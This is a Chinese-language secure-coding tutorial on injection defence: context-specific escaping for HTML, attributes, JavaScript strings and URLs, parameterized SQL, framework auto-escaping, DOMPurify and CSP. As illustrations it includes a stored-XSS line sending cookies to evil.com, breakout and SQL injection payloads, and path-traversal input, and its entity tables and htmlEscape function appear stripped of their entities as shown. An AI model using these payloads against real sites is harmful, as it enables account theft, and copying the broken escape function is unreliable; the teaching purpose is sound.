输入数据从用户传到展示,要经过 URL → 后端 → 数据库 → 模板 → HTML → JS → 浏览器多层。每层有不同的”危险字符”——单点防御漏一个层就被注入。这篇讲清各上下文的编码规则和组合策略。
五种主要上下文 + 编码方式
| 上下文 | 危险字符 | 编码方式 | 示例 |
|---|---|---|---|
| HTML 文本 | < > & | HTML entity | < > & |
| HTML 属性 | + " ' | HTML entity (extended) | " ' |
| JavaScript 字符串 | ' " \\ 控制字符 | JS escape | \\" \\' \\n \\u00 |
| URL(path/query/fragment) | 大多数特殊字符 | percent-encoding | %20 %2F |
| SQL 查询 | ' 等 | 参数化查询(推荐) | ? 占位符 |
XSS 攻击的典型路径
1. 用户在评论区输入:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
2. 服务端原样存储
3. 其他用户访问页面 → 评论被渲染:
<div class="comment">
<script>...</script> ← 浏览器执行
</div>
4. cookie 被发送到 evil.com → 账号被盗
防御点:服务端存储后渲染时必须 HTML escape。
HTML escape 详解
最少必须编码 5 字符:
| 字符 | 实体 | 何时必须 |
|---|---|---|
< | < | 任何 HTML 上下文 |
> | > | 任何 HTML 上下文 |
& | & | 任何 HTML 上下文 |
" | " | HTML 属性内 |
' | ' | HTML 属性内 |
为什么 & 也要编:
- 用户输入
Tom & Jerry - 浏览器看到
&Jerry;可能尝试解析为实体 - 编码
&为&避免歧义
完整实现:
function htmlEscape(s) {
return s.replace(/[&<>"']/g, c => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
})[c]);
}
HTML 属性 vs HTML 文本
HTML 文本(如 <p>用户名</p>):
- 只需编码
<>& - 引号在文本里不会出问题
HTML 属性(如 <input value="...">):
- 必须额外编码
"和' - 否则用户输入
"会闭合属性
典型 XSS:
<!-- 没编码 " -->
<input value="">
<!-- 用户输入 -->
"><script>alert(1)</script>
<!-- 渲染结果 -->
<input value=""><script>alert(1)</script>">
<!-- 浏览器执行 -->
防御:
- 始终用引号包属性值——
<input value="..."> - 始终编码
"为" - 用
safe模板引擎自动选场景
JavaScript 字符串编码
JS 字符串需要转义的字符:
| 字符 | 转义 |
|---|---|
\\ | \\\\ |
' | \\'(如果用 ' 包字符串) |
" | \\"(如果用 " 包字符串) |
\\n | \\n |
\\r | \\r |
\\t | \\t |
\\0 | \\0 |
</script> | 编码或拆分 |
| U+2028 / U+2029 | 必须编码(JS 行终结符) |
典型场景:
<!-- 模板中直接插值 -->
<script>
var name = "{{ user.name }}"; // ← 必须 escape
</script>
<!-- 攻击:用户输入 -->
";alert(1);//
<!-- 渲染结果 -->
<script>
var name = "";alert(1);//";
// 闭合字符串 + 执行 + 注释
</script>
防御:
<!-- 推荐:JSON.stringify 自动处理所有转义 -->
<script>
var name = {{ user.name | json }};
</script>
<!-- 或者用 data-* 传递 -->
<div id="user" data-name="{{ user.name }}"></div>
<script>
const name = document.getElementById('user').dataset.name;
</script>
陷阱:
- 不要手动拼 JS 字符串
</script>必须编码(否则破坏 script 标签)- Unicode 行终结符 U+2028 / U+2029 在 JSON 字符串中破坏解析
URL 编码细节
三种 URL 部分:
https://example.com/path/to?query=value#fragment
↓ ↓ ↓
path query fragment
path 编码:
// 编码 path 段
const segment = encodeURIComponent('user input/with spaces');
// 'user%20input%2Fwith%20spaces'
// 完整 URL
const url = `/api/users/${segment}`;
query 编码:
const params = new URLSearchParams();
params.set('q', 'user input');
params.set('lang', 'zh-CN');
const url = `/search?${params}`;
// '/search?q=user+input&lang=zh-CN'
fragment 编码:
const hash = encodeURIComponent('section title');
window.location.hash = hash;
// '#section%20title'
完整 URL(不常用):
// encodeURI 保留 URL 结构字符(: / ? # & = 等)
const url = encodeURI('https://example.com/path with spaces');
// 'https://example.com/path%20with%20spaces'
典型错误:
// ❌ 错误:直接拼 user input
const url = `/api/users/${userId}`;
// 用户传 userId = "../admin" → 路径穿越
// ✅ 正确:encodeURIComponent
const url = `/api/users/${encodeURIComponent(userId)}`;
// ❌ 错误:query 不编码
const url = `/search?q=${searchTerm}`;
// 用户传 searchTerm = "test&admin=1" → 注入
// ✅ 正确
const params = new URLSearchParams({ q: searchTerm });
const url = `/search?${params}`;
SQL 注入防御
注入经典:
不安全代码:
SELECT * FROM users WHERE name = '$name'
用户输入:admin' OR '1'='1
拼接结果:
SELECT * FROM users WHERE name = 'admin' OR '1'='1'
→ 永远返回所有用户
字符串转义不够(多种局限):
- 各 SQL 方言不同
- 编码差异(多字节字符注入)
- 函数嵌套漏掉转义
- 数字字段不加引号
参数化查询(必须):
# Python (psycopg2 / sqlite3)
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
# Node.js (mysql2)
connection.query("SELECT * FROM users WHERE name = ?", [name]);
# Java JDBC
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE name = ?"
);
ps.setString(1, name);
# Go (database/sql)
db.Query("SELECT * FROM users WHERE name = ?", name)
ORM:
- Sequelize / TypeORM(Node.js)
- SQLAlchemy / Django ORM(Python)
- Hibernate(Java)
- ActiveRecord(Ruby)
ORM 默认参数化——但 raw() / unsafe() 方法仍然有风险。
白名单:
- 列名 / 表名不能参数化
- 必须用白名单(只允许预设的列名)
# 安全
ALLOWED_COLUMNS = {'name', 'email', 'created_at'}
if column in ALLOWED_COLUMNS:
sql = f"SELECT * FROM users ORDER BY {column}"
cursor.execute(sql)
多重上下文嵌套
最危险的场景:URL 里的 JS 里的 HTML
<!-- 用户输入 userInput 嵌套到三层 -->
<a onclick="document.location='/search?q=' + encodeURIComponent('{{userInput}}')">搜索</a>
编码顺序(从最内层开始):
- userInput 在 JS 字符串中 → JS escape
- 结果在 HTML 属性 onclick 中 → HTML attr escape
- 传到后端时 → URL encode(已经在 encodeURIComponent 中)
简化方案:避免嵌套:
<!-- 数据通过 data-* 属性传 -->
<a id="search-btn" data-user-input="{{ userInput }}">搜索</a>
<script>
document.getElementById('search-btn').addEventListener('click', (e) => {
const userInput = e.target.dataset.userInput;
window.location.href = '/search?q=' + encodeURIComponent(userInput);
});
</script>
数据流:HTML(自动 escape)→ DOM API(无嵌套)→ encodeURIComponent
现代框架的自动 escape
React
// ✅ 自动 escape
<div>{userInput}</div>
// ⚠️ 故意绕过
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// ⚠️ URL 注入风险
<a href={userInput}>Link</a> // userInput = "javascript:alert(1)"
URL 验证:
function safeUrl(url) {
if (/^javascript:/i.test(url)) return '#';
if (/^data:/i.test(url)) return '#';
return url;
}
<a href={safeUrl(userInput)}>Link</a>
Vue
<!-- ✅ 自动 escape -->
<div>{{ userInput }}</div>
<!-- ⚠️ 故意绕过 -->
<div v-html="userInput"></div>
Angular
<!-- ✅ 自动 escape -->
<div>{{ userInput }}</div>
<!-- ⚠️ 用 sanitizer -->
<div [innerHTML]="userInput | safeHtml"></div>
模板引擎
# Jinja2 / Django: 默认 escape
{{ user_input }}
# 故意绕过(危险)
{{ user_input | safe }}
{% autoescape off %}{{ user_input }}{% endautoescape %}
PHP(默认不 escape)
<!-- ❌ 不 escape -->
<div><?= $userInput ?></div>
<!-- ✅ 显式 escape -->
<div><?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?></div>
DOMPurify:HTML sanitization 标准库
import DOMPurify from 'dompurify';
const userHtml = '<img src="x" onerror="alert(1)">';
const clean = DOMPurify.sanitize(userHtml);
// '<img src="x">'
// 配置允许的标签
const clean2 = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
适用:富文本编辑器输出、用户提交的 HTML、Markdown 渲染。
CSP:最后兜底
Content Security Policy 是浏览器层面的兜底:
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-xyz123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
作用:
- 即使 XSS 注入了 script,浏览器拒绝执行
- 限制可加载的资源域名
- 限制 inline script(必须有 nonce)
部署:
- 设置 HTTP header 或
<meta>标签 - 严格策略:禁止 inline script + nonce
- 报告模式:
Content-Security-Policy-Report-Only先观察
实战清单
✅ 必做:
- HTML 上下文用 escape(5 字符)
- HTML 属性额外 escape
"' - JS 字符串用 JSON.stringify
- URL 用 encodeURIComponent
- SQL 用参数化查询
- 富文本用 DOMPurify
- 部署 CSP
❌ 避免:
- 字符串拼接 SQL
- 直接拼接 HTML
- dangerouslySetInnerHTML 不 sanitize
- URL 不验证协议(
javascript:) - 用户输入直接进 eval
- 信任前端 escape(必须服务端再 escape)
注入防御的核心是层层防御——每个上下文用对应编码、参数化查询、自动框架 + DOMPurify、最后 CSP 兜底,能挡住 99% 的注入攻击。